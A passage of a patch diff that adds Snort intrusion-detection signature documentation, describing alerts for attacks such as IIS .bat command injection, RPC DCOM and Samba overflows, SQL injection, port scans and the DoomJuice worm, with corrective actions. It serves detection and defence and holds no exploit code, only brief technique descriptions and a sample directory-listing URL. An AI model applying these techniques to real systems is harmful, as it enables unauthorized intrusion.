@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2796
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_mview_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1003.txt
+++ snort-2.8.5.2/doc/signatures/1003.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1003
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/976.txt
+++ snort-2.8.5.2/doc/signatures/976.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+976
+
+--
+Summary:
+This event is generated when an attempt is made to reference a .bat file to execute arbitrary commands on an Internet Information Services (IIS) server. 
+
+--
+Impact:
+Remote access.  This attack can execute arbitrary commands on the IIS server with the privileges of the user running IIS.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) uses .bat and .cmd to execute code using the Common Gateway Interface (CGI).  A .bat file or .cmd file can be passed a malicious command to be executed on the server.  This is accomplished by preceding the malicious command with an ampersand.  This allows execution of arbitrary commands with the privileges of the user running IIS.
+
+--
+Affected Systems:
+Hosts running IIS 1.0
+
+--
+Attack Scenarios:
+An attacker can pass a .bat or .cmd file a malicious command to be executed.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://support.microsoft.com/support/kb/articles/Q148/1/88.asp
+http://support.microsoft.com/support/kb/articles/Q155/0/56.asp
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0233
+
+Bugtraq
+http://www.securityfocus.com/bid/2023
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10362
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3399.txt
+++ snort-2.8.5.2/doc/signatures/3399.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3399
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1504.txt
+++ snort-2.8.5.2/doc/signatures/1504.txt
@@ -0,0 +1,53 @@
+Rule:  
+
+--
+Sid:
+1504
+
+--
+Summary:
+This event is generated when an attempt is made to access AFS from a source outside the protected network.
+
+--
+Impact:
+Serious. Unauthorized file access.
+
+--
+Detailed Information:
+The Andrew File System (AFS) is a popular networked file system much like NFS, it is often used in the enterprise or by educational institutions. 
+
+AFS utilises an Access Control List (ACL) to determine which hosts or networks are allowed to connect to the resources in the system. Misconfigured ACLs may allow an attacker to gain critical information.
+
+--
+Attack Scenarios:
+Badly configured ACL's allow an attacker that has access to the AFS service to read critical files and even upload files.
+
+--
+Ease of Attack:
+Simple. No exploit code is needed.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Use a packet filtering firewall to prevent unknown hosts from accessing the AFS service
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1664.txt
+++ snort-2.8.5.2/doc/signatures/1664.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1664
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+http://www.giac.org/practical/Bjorn_Persson.doc
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-11.txt
+++ snort-2.8.5.2/doc/signatures/122-11.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-11
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+protocol sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1872.txt
+++ snort-2.8.5.2/doc/signatures/1872.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1872
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2312.txt
+++ snort-2.8.5.2/doc/signatures/2312.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2312
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3025.txt
+++ snort-2.8.5.2/doc/signatures/3025.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3025
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1188.txt
+++ snort-2.8.5.2/doc/signatures/1188.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid:
+1188
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web server.
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-start-ver".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+-- 
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1420.txt
+++ snort-2.8.5.2/doc/signatures/1420.txt
@@ -0,0 +1,77 @@
+Rule:
+ 
+--
+Sid:
+1420
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over TCP to an SNMP
+daemon is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 162, tcp or udp.
+
+An attacker may attempt to send this request to determine if a device is
+using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to tcp port 162, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000776.txt
+++ snort-2.8.5.2/doc/signatures/100000776.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000776
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "query" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "query" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2527.txt
+++ snort-2.8.5.2/doc/signatures/2527.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2527
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of the Private
+Communications Transport (PCT) protocol.
+
+--
+Impact:
+Execution of arbitrary code. Unauthorized administrative access to an
+affected host.
+
+--
+Detailed Information:
+A vulnerability exists in the handling of PCT requests that
+can be manipulated to give an attacker the opportunity to execute
+arbitrary code of their choosing leading to a possible remote
+administrative compromize of an affected host.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003 and XP systems using PCT
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted PCT request to an affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the use of PCT
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1133.txt
+++ snort-2.8.5.2/doc/signatures/1133.txt
@@ -0,0 +1,66 @@
+Rule:  
+ 
+--
+Sid:
+
+1133
+
+--
+Summary:
+This event is generated when the Cybercop vulnerability scanner is used 
+against a host.
+
+--
+Impact:
+Cybercop can be used to identify vulnerabilities on host systems.
+
+--
+Detailed Information:
+
+This particular packet is a part of Cybercop's OS identification.  
+Specially crafted packets are able to elicit different responses from 
+different operating systems.  This packet is likely to be part of a full
+Cybercop scan rather than an isolated event. 
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+Cybercop can be used by attackers to determine vulnerabilities present 
+on a host or network of hosts that could be used as attack vectors.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This tool can be used legitimately by system and network administrators.
+Other vulnerability scanners may display the same behavior.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+TCP packets with SYN, FIN and PUSH set at the same time are abnormal, 
+use a packet filtering firewall to block them.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS145
+
+--
--- snort-2.8.5.2.orig/doc/signatures/995.txt
+++ snort-2.8.5.2/doc/signatures/995.txt
@@ -0,0 +1,63 @@
+Rule
+
+--
+Sid:
+995
+
+
+--
+Summary:
+This event is generated when an attempt is made to request an HTTP-based password change.
+
+--
+Impact:
+Information gathering/remote access.  Error messages from failed password changes can indicate whether a given account exists on the server.  Successful password changes can allow remote access to the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) Version 4 servers that were upgraded from IIS 2 or 3 have a legacy ism.dll file that allows web-based administration.  Upon sending a request to ism.dll, the user will be prompted for a userid and password.  An attacker can attempt to brute force guess a password, allowing remote access to the server.
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0 servers upgraded from IIS 2.0 or 3.0
+
+--
+Attack Scenarios:
+An attacker can request password changes to discover existing accounts or brute force password changes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of ISS.
+
+Consider running the IIS Lockdown Tool to disable unnecessary functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1538
+
+Bugtraq
+http://www.securityfocus.com/bid/189
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2932.txt
+++ snort-2.8.5.2/doc/signatures/2932.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2932
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3120.txt
+++ snort-2.8.5.2/doc/signatures/3120.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3120
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2375.txt
+++ snort-2.8.5.2/doc/signatures/2375.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid:
+2375
+
+--
+Summary:
+This event is generated when activity from the worm DoomJuice is
+detected. 
+
+--
+Impact:
+This is indicative of worm activity which may launch of a Denial of
+Service condition against Microsoft from infected machines.
+
+--
+Detailed Information:
+This event is indicative of activity by the DoomJuice worm. This worm
+attempts to connect to random addresses on port 3127, if it receives a
+response it will attempt to upload a copy of itself to the target
+machine. If no response is received on that port, it will try on ports
+between 3127 and 3199.
+
+If the date is between February 8th and February 28th 2004, the worm
+will attempt to launch a Denial of Service (DoS) attack against
+www.microsoft.com.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows Me
+	Windows NT
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+This is worm activity.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+It is possible to edit the binary data in the executable to create a
+variant of the worm. This may evade the rule.
+
+--
+Corrective Action:
+Use Anti-Virus software to remove the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2101.txt
+++ snort-2.8.5.2/doc/signatures/2101.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+
+--
+Sid: 2101
+
+--
+Summary:
+
+A buffer overflow exists in the SMB (Server Message Block) Protocol 
+implementation in Microsfot Windows NT, Windows 2000, and Windows XP 
+that allows attackers to cause a denial of service via a NetShareEnum 
+request.
+
+--
+Impact:
+
+An attacker can cause the target system to lock up and require manual
+reboot.  With more research, an attacker may be able to exploit this
+buffer overflow and execute arbitrary code, but this research has not
+been made public at this time.
+
+--
+Detailed Information:
+
+SMB on a vulnerable system may crash if it recieves a specially crafted
+packet containing a NetServerEnum, NetServerEnum2, or NetServerEnum3 
+transaction request.  If either the paramaters "Max Parameter Count" or
+"Max Data Count" are set to 0, then a vulnerable system will crash.  
+NetServerEnum requests require an authorized user account, however 
+NetServerEnum2 and NetServerEnum3 require anonymous access.  Anonymous
+access is enabled by default.  This signature looks for both the "Max Parameter Count" and "Max Data Count" set to 0.
+
+--
+Attack Scenarios:
+
+Simple. An attacker would use one of the various publicly available 
+tools to launch this attack.
+
+--
+Ease of Attack:
+
+Numerous tools, including a windows binary (SMBDie.exe), have been made
+publicly available to exploit the denial of service portion of this 
+vulnerability.
+
+--
+False Positives:
+
+This rule may generate an event on functions other than NetServerEnum, 
+NetServerEnum2, or NetServerEnum3.  An SMB decoder is not available in 
+Snort, thus verification that the function being called is not feasable.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Install the patches available from Microsoft.  The patches are listed in
+Microsoft's advisory for this vulnerability.
+
+www.microsoft.com/technet/security/bulletin/MS02-045.asp
+
+--
+Contributors:
